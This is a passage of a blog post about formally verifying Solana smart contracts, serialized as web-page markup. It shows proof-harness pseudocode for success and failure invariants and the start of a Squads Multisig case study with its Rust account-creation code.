as:",{"type":22,"tag":17988,"props":23319,"children":23320},{},[23321,23357],{"type":22,"tag":1871,"props":23322,"children":23323},{},[23324,23351,23352],{"type":22,"tag":257,"props":23325,"children":23327},{"className":23326},[260,261],[23328],{"type":22,"tag":264,"props":23329,"children":23331},{"className":23330},[267],[23332],{"type":22,"tag":264,"props":23333,"children":23335},{"className":23334,"ariaHidden":273},[272],[23336],{"type":22,"tag":264,"props":23337,"children":23339},{"className":23338},[278],[23340,23344],{"type":22,"tag":264,"props":23341,"children":23343},{"className":23342,"style":441},[283],[],{"type":22,"tag":264,"props":23345,"children":23348},{"className":23346,"style":23347},[289,2178],"margin-right:0.05764em;",[23349],{"type":27,"value":23350},"S",{"type":27,"value":1594},{"type":22,"tag":257,"props":23353,"children":23355},{"className":23354},[],[23356],{"type":27,"value":21461},{"type":22,"tag":1871,"props":23358,"children":23359},{},[23360,23386,23387],{"type":22,"tag":257,"props":23361,"children":23363},{"className":23362},[260,261],[23364],{"type":22,"tag":264,"props":23365,"children":23367},{"className":23366},[267],[23368],{"type":22,"tag":264,"props":23369,"children":23371},{"className":23370,"ariaHidden":273},[272],[23372],{"type":22,"tag":264,"props":23373,"children":23375},{"className":23374},[278],[23376,23380],{"type":22,"tag":264,"props":23377,"children":23379},{"className":23378,"style":441},[283],[],{"type":22,"tag":264,"props":23381,"children":23383},{"className":23382,"style":23347},[289,2178],[23384],{"type":27,"value":23385},"E",{"type":27,"value":1594},{"type":22,"tag":257,"props":23388,"children":23390},{"className":23389},[],[23391],{"type":27,"value":21468},{"type":22,"tag":23,"props":23393,"children":23394},{},[23395,23397,23424,23426,23431,23433,23439],{"type":27,"value":23396},"And ",{"type":22,"tag":257,"props":23398,"children":23400},{"className":23399},[260,261],[23401],{"type":22,"tag":264,"props":23402,"children":23404},{"className":23403},[267],[23405],{"type":22,"tag":264,"props":23406,"children":23408},{"className":23407,"ariaHidden":273},[272],[23409],{"type":22,"tag":264,"props":23410,"children":23412},{"className":23411},[278],[23413,23417],{"type":22,"tag":264,"props":23414,"children":23416},{"className":23415,"style":441},[283],[],{"type":22,"tag":264,"props":23418,"children":23421},{"className":23419,"style":23420},[289,2178],"margin-right:0.07153em;",[23422],{"type":27,"value":23423},"K",{"type":27,"value":23425}," represents whether the instruction actually succeeds (i.e. invoking the handler returned an ",{"type":22,"tag":257,"props":23427,"children":23429},{"className":23428},[],[23430],{"type":27,"value":21796},{"type":27,"value":23432}," not an ",{"type":22,"tag":257,"props":23434,"children":23436},{"className":23435},[],[23437],{"type":27,"value":23438},"Err",{"type":27,"value":22049},{"type":22,"tag":23,"props":23441,"children":23442},{},[23443],{"type":27,"value":23444},"In order to verify these conditions we need to verify three cases:",{"type":22,"tag":181,"props":23446,"children":23448},{"id":23447},"account-invariants-1",[23449],{"type":27,"value":23450},"Account invariants",{"type":22,"tag":23,"props":23452,"children":23453},{},[23454,23456,23487,23489,23519,23521,23551],{"type":27,"value":23455},"After we execute an instruction, either the function should error and be reverted (",{"type":22,"tag":257,"props":23457,"children":23459},{"className":23458},[260,261],[23460],{"type":22,"tag":264,"props":23461,"children":23463},{"className":23462},[267],[23464],{"type":22,"tag":264,"props":23465,"children":23467},{"className":23466,"ariaHidden":273},[272],[23468],{"type":22,"tag":264,"props":23469,"children":23471},{"className":23470},[278],[23472,23476,23482],{"type":22,"tag":264,"props":23473,"children":23475},{"className":23474,"style":441},[283],[],{"type":22,"tag":264,"props":23477,"children":23479},{"className":23478},[289],[23480],{"type":27,"value":23481},"¬",{"type":22,"tag":264,"props":23483,"children":23485},{"className":23484,"style":23420},[289,2178],[23486],{"type":27,"value":23423},{"type":27,"value":23488},") or the account post-invariants should hold (",{"type":22,"tag":257,"props":23490,"children":23492},{"className":23491},[260,261],[23493],{"type":22,"tag":264,"props":23494,"children":23496},{"className":23495},[267],[23497],{"type":22,"tag":264,"props":23498,"children":23500},{"className":23499,"ariaHidden":273},[272],[23501],{"type":22,"tag":264,"props":23502,"children":23504},{"className":23503},[278],[23505,23509,23514],{"type":22,"tag":264,"props":23506,"children":23508},{"className":23507,"style":441},[283],[],{"type":22,"tag":264,"props":23510,"children":23512},{"className":23511,"style":22894},[289,2178],[23513],{"type":27,"value":22897},{"type":22,"tag":264,"props":23515,"children":23517},{"className":23516},[289],[23518],{"type":27,"value":602},{"type":27,"value":23520},"). Furthermore, we can assume that before executing a function, the account pre-invariants (",{"type":22,"tag":257,"props":23522,"children":23524},{"className":23523},[260,261],[23525],{"type":22,"tag":264,"props":23526,"children":23528},{"className":23527},[267],[23529],{"type":22,"tag":264,"props":23530,"children":23532},{"className":23531,"ariaHidden":273},[272],[23533],{"type":22,"tag":264,"props":23534,"children":23536},{"className":23535},[278],[23537,23541,23546],{"type":22,"tag":264,"props":23538,"children":23540},{"className":23539,"style":441},[283],[],{"type":22,"tag":264,"props":23542,"children":23544},{"className":23543,"style":22894},[289,2178],[23545],{"type":27,"value":22897},{"type":22,"tag":264,"props":23547,"children":23549},{"className":23548},[289],[23550],{"type":27,"value":5334},{"type":27,"value":23552},") should hold since we will verify all of the functions eventually.",{"type":22,"tag":23,"props":23554,"children":23555},{},[23556,23558],{"type":27,"value":23557},"So we are trying to prove that ",{"type":22,"tag":257,"props":23559,"children":23561},{"className":23560},[260,261],[23562],{"type":22,"tag":264,"props":23563,"children":23565},{"className":23564},[267],[23566],{"type":22,"tag":264,"props":23567,"children":23569},{"className":23568,"ariaHidden":273},[272],[23570,23607,23639],{"type":22,"tag":264,"props":23571,"children":23573},{"className":23572},[278],[23574,23578,23583,23588,23593,23597,23603],{"type":22,"tag":264,"props":23575,"children":23577},{"className":23576,"style":5409},[283],[],{"type":22,"tag":264,"props":23579,"children":23581},{"className":23580},[294],[23582],{"type":27,"value":2660},{"type":22,"tag":264,"props":23584,"children":23586},{"className":23585,"style":22894},[289,2178],[23587],{"type":27,"value":22897},{"type":22,"tag":264,"props":23589,"children":23591},{"className":23590},[289],[23592],{"type":27,"value":5334},{"type":22,"tag":264,"props":23594,"children":23596},{"className":23595,"style":665},[420],[],{"type":22,"tag":264,"props":23598,"children":23600},{"className":23599},[670],[23601],{"type":27,"value":23602},"∧",{"type":22,"tag":264,"props":23604,"children":23606},{"className":23605,"style":665},[420],[],{"type":22,"tag":264,"props":23608,"children":23610},{"className":23609},[278],[23611,23615,23620,23625,23629,23635],{"type":22,"tag":264,"props":23612,"children":23614},{"className":23613,"style":5409},[283],[],{"type":22,"tag":264,"props":23616,"children":23618},{"className":23617,"style":23420},[289,2178],[23619],{"type":27,"value":23423},{"type":22,"tag":264,"props":23621,"children":23623},{"className":23622},[415],[23624],{"type":27,"value":2806},{"type":22,"tag":264,"props":23626,"children":23628},{"className":23627,"style":421},[420],[],{"type":22,"tag":264,"props":23630,"children":23632},{"className":23631},[426],[23633],{"type":27,"value":23634},"→",{"type":22,"tag":264,"props":23636,"children":23638},{"className":23637,"style":421},[420],[],{"type":22,"tag":264,"props":23640,"children":23642},{"className":23641},[278],[23643,23647,23652],{"type":22,"tag":264,"props":23644,"children":23646},{"className":23645,"style":441},[283],[],{"type":22,"tag":264,"props":23648,"children":23650},{"className":23649,"style":22894},[289,2178],[23651],{"type":27,"value":22897},{"type":22,"tag":264,"props":23653,"children":23655},{"className":23654},[289],[23656],{"type":27,"value":602},{"type":22,"tag":23,"props":23658,"children":23659},{},[23660],{"type":27,"value":23661},"We can construct a proof harness like the following:",{"type":22,"tag":618,"props":23663,"children":23665},{"code":23664,"language":20766,"meta":7,"className":20767,"style":7},"assume(P0)\nres = instruction_handler(...)\nassert(!K || P1)\n",[23666],{"type":22,"tag":257,"props":23667,"children":23668},{"__ignoreMap":7},[23669,23677,23694],{"type":22,"tag":264,"props":23670,"children":23671},{"class":1534,"line":1535},[23672],{"type":22,"tag":264,"props":23673,"children":23674},{"style":1539},[23675],{"type":27,"value":23676},"assume(P0)\n",{"type":22,"tag":264,"props":23678,"children":23679},{"class":1534,"line":1545},[23680,23685,23689],{"type":22,"tag":264,"props":23681,"children":23682},{"style":1539},[23683],{"type":27,"value":23684},"res ",{"type":22,"tag":264,"props":23686,"children":23687},{"style":4309},[23688],{"type":27,"value":429},{"type":22,"tag":264,"props":23690,"children":23691},{"style":1539},[23692],{"type":27,"value":23693}," instruction_handler(...)\n",{"type":22,"tag":264,"props":23695,"children":23696},{"class":1534,"line":1560},[23697,23701,23705,23710,23715,23720],{"type":22,"tag":264,"props":23698,"children":23699},{"style":4328},[23700],{"type":27,"value":21290},{"type":22,"tag":264,"props":23702,"children":23703},{"style":1539},[23704],{"type":27,"value":2660},{"type":22,"tag":264,"props":23706,"children":23708},{"style":23707},"--shiki-default:#F44747",[23709],{"type":27,"value":21928},{"type":22,"tag":264,"props":23711,"children":23712},{"style":1539},[23713],{"type":27,"value":23714},"K ",{"type":22,"tag":264,"props":23716,"children":23717},{"style":23707},[23718],{"type":27,"value":23719},"||",{"type":22,"tag":264,"props":23721,"children":23722},{"style":1539},[23723],{"type":27,"value":23724}," P1)\n",{"type":22,"tag":23,"props":23726,"children":23727},{},[23728],{"type":27,"value":23729},"By itself, this harness doesn't actually prove much. For example, if the instruction fails every time, this proof will still work. However, in conjunction with the two subsequent proofs we can be assured that the instruction will actually succeed when we expect it to.",{"type":22,"tag":181,"props":23731,"children":23733},{"id":23732},"positive-instruction-invariant",[23734],{"type":27,"value":23735},"Positive instruction invariant",{"type":22,"tag":23,"props":23737,"children":23738},{},[23739,23741,23747,23749,23800],{"type":27,"value":23740},"Next we need to prove that ",{"type":22,"tag":257,"props":23742,"children":23744},{"className":23743},[],[23745],{"type":27,"value":23746},"success_if",{"type":27,"value":23748}," is a sufficient condition for instruction success. I.e. ",{"type":22,"tag":257,"props":23750,"children":23752},{"className":23751},[260,261],[23753],{"type":22,"tag":264,"props":23754,"children":23756},{"className":23755},[267],[23757],{"type":22,"tag":264,"props":23758,"children":23760},{"className":23759,"ariaHidden":273},[272],[23761,23787],{"type":22,"tag":264,"props":23762,"children":23764},{"className":23763},[278],[23765,23769,23774,23778,23783],{"type":22,"tag":264,"props":23766,"children":23768},{"className":23767,"style":441},[283],[],{"type":22,"tag":264,"props":23770,"children":23772},{"className":23771,"style":23347},[289,2178],[23773],{"type":27,"value":23350},{"type":22,"tag":264,"props":23775,"children":23777},{"className":23776,"style":421},[420],[],{"type":22,"tag":264,"props":23779,"children":23781},{"className":23780},[426],[23782],{"type":27,"value":23634},{"type":22,"tag":264,"props":23784,"children":23786},{"className":23785,"style":421},[420],[],{"type":22,"tag":264,"props":23788,"children":23790},{"className":23789},[278],[23791,23795],{"type":22,"tag":264,"props":23792,"children":23794},{"className":23793,"style":441},[283],[],{"type":22,"tag":264,"props":23796,"children":23798},{"className":23797,"style":23420},[289,2178],[23799],{"type":27,"value":23423},{"type":27,"value":210},{"type":22,"tag":23,"props":23802,"children":23803},{},[23804],{"type":27,"value":23805},"Just like before we can construct a proof harness:",{"type":22,"tag":618,"props":23807,"children":23809},{"code":23808,"language":20766,"meta":7,"className":20767,"style":7},"assume(S)\nres = instruction_handler(...)\nassert(K)\n",[23810],{"type":22,"tag":257,"props":23811,"children":23812},{"__ignoreMap":7},[23813,23821,23836],{"type":22,"tag":264,"props":23814,"children":23815},{"class":1534,"line":1535},[23816],{"type":22,"tag":264,"props":23817,"children":23818},{"style":1539},[23819],{"type":27,"value":23820},"assume(S)\n",{"type":22,"tag":264,"props":23822,"children":23823},{"class":1534,"line":1545},[23824,23828,23832],{"type":22,"tag":264,"props":23825,"children":23826},{"style":1539},[23827],{"type":27,"value":23684},{"type":22,"tag":264,"props":23829,"children":23830},{"style":4309},[23831],{"type":27,"value":429},{"type":22,"tag":264,"props":23833,"children":23834},{"style":1539},[23835],{"type":27,"value":23693},{"type":22,"tag":264,"props":23837,"children":23838},{"class":1534,"line":1560},[23839,23843],{"type":22,"tag":264,"props":23840,"children":23841},{"style":4328},[23842],{"type":27,"value":21290},{"type":22,"tag":264,"props":23844,"children":23845},{"style":1539},[23846],{"type":27,"value":23847},"(K)\n",{"type":22,"tag":23,"props":23849,"children":23850},{},[23851,23853,23858,23860,23872],{"type":27,"value":23852},"This proof assures that whenever ",{"type":22,"tag":257,"props":23854,"children":23856},{"className":23855},[],[23857],{"type":27,"value":21461},{"type":27,"value":23859}," is satisfied, the instruction will succeed. However, remember that since this is not a biconditional, the instruction may also succeed ",{"type":22,"tag":1699,"props":23861,"children":23862},{},[23863,23865,23870],{"type":27,"value":23864},"even if ",{"type":22,"tag":257,"props":23866,"children":23868},{"className":23867},[],[23869],{"type":27,"value":21461},{"type":27,"value":23871}," is not satisfied",{"type":27,"value":23873},". To specify explicit error conditions we need our third and final proof.",{"type":22,"tag":181,"props":23875,"children":23877},{"id":23876},"_3-negative-instruction-invariant",[23878],{"type":27,"value":23879},"3. Negative instruction invariant",{"type":22,"tag":23,"props":23881,"children":23882},{},[23883,23885,23890,23892,23948],{"type":27,"value":23884},"Finally, we want to prove that ",{"type":22,"tag":257,"props":23886,"children":23888},{"className":23887},[],[23889],{"type":27,"value":21468},{"type":27,"value":23891}," is a sufficient condition for instruction failure. I.e. ",{"type":22,"tag":257,"props":23893,"children":23895},{"className":23894},[260,261],[23896],{"type":22,"tag":264,"props":23897,"children":23899},{"className":23898},[267],[23900],{"type":22,"tag":264,"props":23901,"children":23903},{"className":23902,"ariaHidden":273},[272],[23904,23930],{"type":22,"tag":264,"props":23905,"children":23907},{"className":23906},[278],[23908,23912,23917,23921,23926],{"type":22,"tag":264,"props":23909,"children":23911},{"className":23910,"style":441},[283],[],{"type":22,"tag":264,"props":23913,"children":23915},{"className":23914,"style":23347},[289,2178],[23916],{"type":27,"value":23385},{"type":22,"tag":264,"props":23918,"children":23920},{"className":23919,"style":421},[420],[],{"type":22,"tag":264,"props":23922,"children":23924},{"className":23923},[426],[23925],{"type":27,"value":23634},{"type":22,"tag":264,"props":23927,"children":23929},{"className":23928,"style":421},[420],[],{"type":22,"tag":264,"props":23931,"children":23933},{"className":23932},[278],[23934,23938,23943],{"type":22,"tag":264,"props":23935,"children":23937},{"className":23936,"style":441},[283],[],{"type":22,"tag":264,"props":23939,"children":23941},{"className":23940},[289],[23942],{"type":27,"value":23481},{"type":22,"tag":264,"props":23944,"children":23946},{"className":23945,"style":23420},[289,2178],[23947],{"type":27,"value":23423},{"type":27,"value":210},{"type":22,"tag":23,"props":23950,"children":23951},{},[23952],{"type":27,"value":23953},"This harness looks just like the previous one:",{"type":22,"tag":618,"props":23955,"children":23957},{"code":23956,"language":20766,"meta":7,"className":20767,"style":7},"assume(E)\nres = instruction_handler(...)\nassert(!K)\n",[23958],{"type":22,"tag":257,"props":23959,"children":23960},{"__ignoreMap":7},[23961,23969,23984],{"type":22,"tag":264,"props":23962,"children":23963},{"class":1534,"line":1535},[23964],{"type":22,"tag":264,"props":23965,"children":23966},{"style":1539},[23967],{"type":27,"value":23968},"assume(E)\n",{"type":22,"tag":264,"props":23970,"children":23971},{"class":1534,"line":1545},[23972,23976,23980],{"type":22,"tag":264,"props":23973,"children":23974},{"style":1539},[23975],{"type":27,"value":23684},{"type":22,"tag":264,"props":23977,"children":23978},{"style":4309},[23979],{"type":27,"value":429},{"type":22,"tag":264,"props":23981,"children":23982},{"style":1539},[23983],{"type":27,"value":23693},{"type":22,"tag":264,"props":23985,"children":23986},{"class":1534,"line":1560},[23987,23991,23995,23999],{"type":22,"tag":264,"props":23988,"children":23989},{"style":4328},[23990],{"type":27,"value":21290},{"type":22,"tag":264,"props":23992,"children":23993},{"style":1539},[23994],{"type":27,"value":2660},{"type":22,"tag":264,"props":23996,"children":23997},{"style":23707},[23998],{"type":27,"value":21928},{"type":22,"tag":264,"props":24000,"children":24001},{"style":1539},[24002],{"type":27,"value":24003},"K)\n",{"type":22,"tag":23,"props":24005,"children":24006},{},[24007,24009,24013],{"type":27,"value":24008},"With these three harnesses, we are now able to formally verify that instructions succeed or fail when we expect them to ",{"type":22,"tag":1699,"props":24010,"children":24011},{},[24012],{"type":27,"value":17672},{"type":27,"value":24014}," the account invariants we expect are always being preserved.",{"type":22,"tag":169,"props":24016,"children":24018},{"id":24017},"case-study-squads-multisig",[24019],{"type":27,"value":24020},"Case study: Squads Multisig",{"type":22,"tag":23,"props":24022,"children":24023},{},[24024,24026,24031],{"type":27,"value":24025},"During our research, we focused on formally verifying aspects of the ",{"type":22,"tag":69,"props":24027,"children":24029},{"href":20128,"rel":24028},[73],[24030],{"type":27,"value":20132},{"type":27,"value":210},{"type":22,"tag":23,"props":24033,"children":24034},{},[24035,24037,24043,24045,24051],{"type":27,"value":24036},"The program defines a Multisig account (",{"type":22,"tag":257,"props":24038,"children":24040},{"className":24039},[],[24041],{"type":27,"value":24042},"Ms",{"type":27,"value":24044},") which has multiple members. These members can propose and then vote on transactions to execute on behalf of the multisig. If at least some ",{"type":22,"tag":257,"props":24046,"children":24048},{"className":24047},[],[24049],{"type":27,"value":24050},"threshold",{"type":27,"value":24052}," of members vote yes, the transaction will be invoked. Additionally, there is functionality to add/remove users and update the threshold.",{"type":22,"tag":23,"props":24054,"children":24055},{},[24056],{"type":27,"value":24057},"In practice, this structure provides a useful way to distribute authority across a group of individuals. From a formal verification perspective, it has both stateless and stateful features and constraints that provided a good testbed for our tooling.",{"type":22,"tag":23,"props":24059,"children":24060},{},[24061],{"type":27,"value":24062},"In this section we will go through a few examples of properties that we can verify on this program:",{"type":22,"tag":1867,"props":24064,"children":24065},{},[24066,24071,24076,24081],{"type":22,"tag":1871,"props":24067,"children":24068},{},[24069],{"type":27,"value":24070},"Incrementally verifying minimum requirements to create a multisig",{"type":22,"tag":1871,"props":24072,"children":24073},{},[24074],{"type":27,"value":24075},"Verify threshold requirements",{"type":22,"tag":1871,"props":24077,"children":24078},{},[24079],{"type":27,"value":24080},"Verify requirements to remove a member",{"type":22,"tag":1871,"props":24082,"children":24083},{},[24084],{"type":27,"value":24085},"Safety guarantees",{"type":22,"tag":181,"props":24087,"children":24089},{"id":24088},"_1-incrementally-verifying-minimum-requirements-to-create-a-multisig",[24090],{"type":27,"value":24091},"1. Incrementally verifying minimum requirements to create a multisig",{"type":22,"tag":23,"props":24093,"children":24094},{},[24095,24097,24102],{"type":27,"value":24096},"Suppose we want to verify the minimum requirements to create a multisig, i.e. the ",{"type":22,"tag":257,"props":24098,"children":24100},{"className":24099},[],[24101],{"type":27,"value":21461},{"type":27,"value":24103}," expression.",{"type":22,"tag":23,"props":24105,"children":24106},{},[24107,24109,24114,24116,24122],{"type":27,"value":24108},"Creating a multisig (",{"type":22,"tag":257,"props":24110,"children":24112},{"className":24111},[],[24113],{"type":27,"value":24042},{"type":27,"value":24115},") requires invoking the ",{"type":22,"tag":257,"props":24117,"children":24119},{"className":24118},[],[24120],{"type":27,"value":24121},"create",{"type":27,"value":24123}," instruction:",{"type":22,"tag":618,"props":24125,"children":24127},{"code":24126,"language":4273,"meta":7,"className":4274,"style":7},"#[derive(Accounts)]\n#[instruction(threshold: u16, create_key: Pubkey, members: Vec\u003CPubkey>)]\npub struct Create\u003C'info> {\n    #[account(\n        init,\n        payer = creator,\n        space = Ms::SIZE_WITHOUT_MEMBERS + (members.len() * 32),\n        seeds = [b\"squad\", create_key.as_ref(), b\"multisig\"], bump\n    )]\n    pub multisig: Account\u003C'info, Ms>,\n\n    #[account(mut)]\n    pub creator: Signer\u003C'info>,\n    pub system_program: Program\u003C'info, System>,\n}\n\npub fn create(\n    ctx: Context\u003CCreate>,\n    threshold: u16,\n    create_key: Pubkey,\n    members: Vec\u003CPubkey>,\n) -> Result\u003C()> {\n    // sort the members and remove duplicates\n    let mut members = members;\n    members.sort();\n    members.dedup();\n\n    // check we don't exceed u16\n    let total_members = members.len();\n    if total_members \u003C 1 {\n        return err!(MsError::EmptyMembers);\n    }\n\n    // make sure we don't exceed u16 on first call\n    if total_members > usize::from(u16::MAX) {\n        return err!(MsError::MaxMembersReached);\n    }\n\n    // make sure threshold is valid\n    if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n        return err!(MsError::InvalidThreshold);\n    }\n\n    ctx.accounts.multisig.init(\n        threshold,\n        create_key,\n        members,\n        *ctx.bumps.get(\"multisig\").unwrap(),\n    )\n}\n",[24128],{"type":22,"tag":257,"props":24129,"children":24130},{"__ignoreMap":7},[24131,24148,24203,24233,24241,24249,24266,24317,24367,24375,24416,24423,24439,24472,24514,24521,24528,24547,24575,24595,24615,24643,24662,24670,24698,24718,24738,24745,24753,24785,24808,24843,24851,24859,24868,24910,24943,24951,24959,24968,25044,25077,25085,25093,25130,25143,25156,25169,25223,25232],{"type":22,"tag":264,"props":24132,"children":24133},{"class":1534,"line":1535},[24134,24139,24144],{"type":22,"tag":264,"props":24135,"children":24136},{"style":1539},[24137],{"type":27,"value":24138},"#[derive(",{"type":22,"tag":264,"props":24140,"children":24141},{"style":4722},[24142],{"type":27,"value":24143},"Accounts",{"type":22,"tag":264,"props":24145,"children":24146},{"style":1539},[24147],{"type":27,"value":21565},{"type":22,"tag":264,"props":24149,"children":24150},{"class":1534,"line":1545},[24151,24156,24160,24164,24169,24173,24177,24182,24186,24190,24194,24198],{"type":22,"tag":264,"props":24152,"children":24153},{"style":1539},[24154],{"type":27,"value":24155},"#[instruction(threshold",{"type":22,"tag":264,"props":24157,"children":24158},{"style":4309},[24159],{"type":27,"value":5785},{"type":22,"tag":264,"props":24161,"children":24162},{"style":4722},[24163],{"type":27,"value":22337},{"type":22,"tag":264,"props":24165,"children":24166},{"style":1539},[24167],{"type":27,"value":24168},", create_key",{"type":22,"tag":264,"props":24170,"children":24171},{"style":4309},[24172],{"type":27,"value":5785},{"type":22,"tag":264,"props":24174,"children":24175},{"style":4722},[24176],{"type":27,"value":22164},{"type":22,"tag":264,"props":24178,"children":24179},{"style":1539},[24180],{"type":27,"value":24181},", members",{"type":22,"tag":264,"props":24183,"children":24184},{"style":4309},[24185],{"type":27,"value":5785},{"type":22,"tag":264,"props":24187,"children":24188},{"style":4722},[24189],{"type":27,"value":22696},{"type":22,"tag":264,"props":24191,"children":24192},{"style":1539},[24193],{"type":27,"value":7097},{"type":22,"tag":264,"props":24195,"children":24196},{"style":4722},[24197],{"type":27,"value":22705},{"type":22,"tag":264,"props":24199,"children":24200},{"style":1539},[24201],{"type":27,"value":24202},">)]\n",{"type":22,"tag":264,"props":24204,"children":24205},{"class":1534,"line":1560},[24206,24210,24214,24219,24224,24229],{"type":22,"tag":264,"props":24207,"children":24208},{"style":4293},[24209],{"type":27,"value":14989},{"type":22,"tag":264,"props":24211,"children":24212},{"style":4293},[24213],{"type":27,"value":22458},{"type":22,"tag":264,"props":24215,"children":24216},{"style":4722},[24217],{"type":27,"value":24218}," Create",{"type":22,"tag":264,"props":24220,"children":24221},{"style":1539},[24222],{"type":27,"value":24223},"\u003C'",{"type":22,"tag":264,"props":24225,"children":24226},{"style":4722},[24227],{"type":27,"value":24228},"info",{"type":22,"tag":264,"props":24230,"children":24231},{"style":1539},[24232],{"type":27,"value":8574},{"type":22,"tag":264,"props":24234,"children":24235},{"class":1534,"line":1569},[24236],{"type":22,"tag":264,"props":24237,"children":24238},{"style":1539},[24239],{"type":27,"value":24240},"    #[account(\n",{"type":22,"tag":264,"props":24242,"children":24243},{"class":1534,"line":1583},[24244],{"type":22,"tag":264,"props":24245,"children":24246},{"style":1539},[24247],{"type":27,"value":24248},"        init,\n",{"type":22,"tag":264,"props":24250,"children":24251},{"class":1534,"line":1603},[24252,24257,24261],{"type":22,"tag":264,"props":24253,"children":24254},{"style":1539},[24255],{"type":27,"value":24256},"        payer ",{"type":22,"tag":264,"props":24258,"children":24259},{"style":4309},[24260],{"type":27,"value":429},{"type":22,"tag":264,"props":24262,"children":24263},{"style":1539},[24264],{"type":27,"value":24265}," creator,\n",{"type":22,"tag":264,"props":24267,"children":24268},{"class":1534,"line":1612},[24269,24274,24278,24282,24286,24291,24295,24300,24304,24308,24312],{"type":22,"tag":264,"props":24270,"children":24271},{"style":1539},[24272],{"type":27,"value":24273},"        space ",{"type":22,"tag":264,"props":24275,"children":24276},{"style":4309},[24277],{"type":27,"value":429},{"type":22,"tag":264,"props":24279,"children":24280},{"style":4722},[24281],{"type":27,"value":22463},{"type":22,"tag":264,"props":24283,"children":24284},{"style":4309},[24285],{"type":27,"value":4785},{"type":22,"tag":264,"props":24287,"children":24288},{"style":4722},[24289],{"type":27,"value":24290},"SIZE_WITHOUT_MEMBERS",{"type":22,"tag":264,"props":24292,"children":24293},{"style":4309},[24294],{"type":27,"value":10200},{"type":22,"tag":264,"props":24296,"children":24297},{"style":1539},[24298],{"type":27,"value":24299}," (members",{"type":22,"tag":264,"props":24301,"children":24302},{"style":4309},[24303],{"type":27,"value":210},{"type":22,"tag":264,"props":24305,"children":24306},{"style":1539},[24307],{"type":27,"value":22328},{"type":22,"tag":264,"props":24309,"children":24310},{"style":4309},[24311],{"type":27,"value":5865},{"type":22,"tag":264,"props":24313,"children":24314},{"style":1539},[24315],{"type":27,"value":24316}," 32),\n",{"type":22,"tag":264,"props":24318,"children":24319},{"class":1534,"line":1621},[24320,24325,24329,24334,24339,24343,24347,24352,24357,24362],{"type":22,"tag":264,"props":24321,"children":24322},{"style":1539},[24323],{"type":27,"value":24324},"        seeds ",{"type":22,"tag":264,"props":24326,"children":24327},{"style":4309},[24328],{"type":27,"value":429},{"type":22,"tag":264,"props":24330,"children":24331},{"style":1539},[24332],{"type":27,"value":24333}," [",{"type":22,"tag":264,"props":24335,"children":24336},{"style":1597},[24337],{"type":27,"value":24338},"b\"squad\"",{"type":22,"tag":264,"props":24340,"children":24341},{"style":1539},[24342],{"type":27,"value":24168},{"type":22,"tag":264,"props":24344,"children":24345},{"style":4309},[24346],{"type":27,"value":210},{"type":22,"tag":264,"props":24348,"children":24349},{"style":1539},[24350],{"type":27,"value":24351},"as_ref(), ",{"type":22,"tag":264,"props":24353,"children":24354},{"style":1597},[24355],{"type":27,"value":24356},"b\"multisig\"",{"type":22,"tag":264,"props":24358,"children":24359},{"style":1539},[24360],{"type":27,"value":24361},"], ",{"type":22,"tag":264,"props":24363,"children":24364},{"style":1549},[24365],{"type":27,"value":24366},"bump\n",{"type":22,"tag":264,"props":24368,"children":24369},{"class":1534,"line":1629},[24370],{"type":22,"tag":264,"props":24371,"children":24372},{"style":1539},[24373],{"type":27,"value":24374},"    )]\n",{"type":22,"tag":264,"props":24376,"children":24377},{"class":1534,"line":1642},[24378,24382,24387,24391,24396,24400,24404,24408,24412],{"type":22,"tag":264,"props":24379,"children":24380},{"style":4293},[24381],{"type":27,"value":22150},{"type":22,"tag":264,"props":24383,"children":24384},{"style":1549},[24385],{"type":27,"value":24386}," multisig",{"type":22,"tag":264,"props":24388,"children":24389},{"style":4309},[24390],{"type":27,"value":5785},{"type":22,"tag":264,"props":24392,"children":24393},{"style":4722},[24394],{"type":27,"value":24395}," Account",{"type":22,"tag":264,"props":24397,"children":24398},{"style":1539},[24399],{"type":27,"value":24223},{"type":22,"tag":264,"props":24401,"children":24402},{"style":4722},[24403],{"type":27,"value":24228},{"type":22,"tag":264,"props":24405,"children":24406},{"style":1539},[24407],{"type":27,"value":4380},{"type":22,"tag":264,"props":24409,"children":24410},{"style":4722},[24411],{"type":27,"value":24042},{"type":22,"tag":264,"props":24413,"children":24414},{"style":1539},[24415],{"type":27,"value":7430},{"type":22,"tag":264,"props":24417,"children":24418},{"class":1534,"line":1660},[24419],{"type":22,"tag":264,"props":24420,"children":24421},{"emptyLinePlaceholder":17},[24422],{"type":27,"value":4986},{"type":22,"tag":264,"props":24424,"children":24425},{"class":1534,"line":1668},[24426,24431,24435],{"type":22,"tag":264,"props":24427,"children":24428},{"style":1539},[24429],{"type":27,"value":24430},"    #[account(",{"type":22,"tag":264,"props":24432,"children":24433},{"style":4293},[24434],{"type":27,"value":5035},{"type":22,"tag":264,"props":24436,"children":24437},{"style":1539},[24438],{"type":27,"value":21565},{"type":22,"tag":264,"props":24440,"children":24441},{"class":1534,"line":1677},[24442,24446,24451,24455,24460,24464,24468],{"type":22,"tag":264,"props":24443,"children":24444},{"style":4293},[24445],{"type":27,"value":22150},{"type":22,"tag":264,"props":24447,"children":24448},{"style":1549},[24449],{"type":27,"value":24450}," creator",{"type":22,"tag":264,"props":24452,"children":24453},{"style":4309},[24454],{"type":27,"value":5785},{"type":22,"tag":264,"props":24456,"children":24457},{"style":4722},[24458],{"type":27,"value":24459}," Signer",{"type":22,"tag":264,"props":24461,"children":24462},{"style":1539},[24463],{"type":27,"value":24223},{"type":22,"tag":264,"props":24465,"children":24466},{"style":4722},[24467],{"type":27,"value":24228},{"type":22,"tag":264,"props":24469,"children":24470},{"style":1539},[24471],{"type":27,"value":7430},{"type":22,"tag":264,"props":24473,"children":24474},{"class":1534,"line":1686},[24475,24479,24484,24488,24493,24497,24501,24505,24510],{"type":22,"tag":264,"props":24476,"children":24477},{"style":4293},[24478],{"type":27,"value":22150},{"type":22,"tag":264,"props":24480,"children":24481},{"style":1549},[24482],{"type":27,"value":24483}," system_program",{"type":22,"tag":264,"props":24485,"children":24486},{"style":4309},[24487],{"type":27,"value":5785},{"type":22,"tag":264,"props":24489,"children":24490},{"style":4722},[24491],{"type":27,"value":24492}," 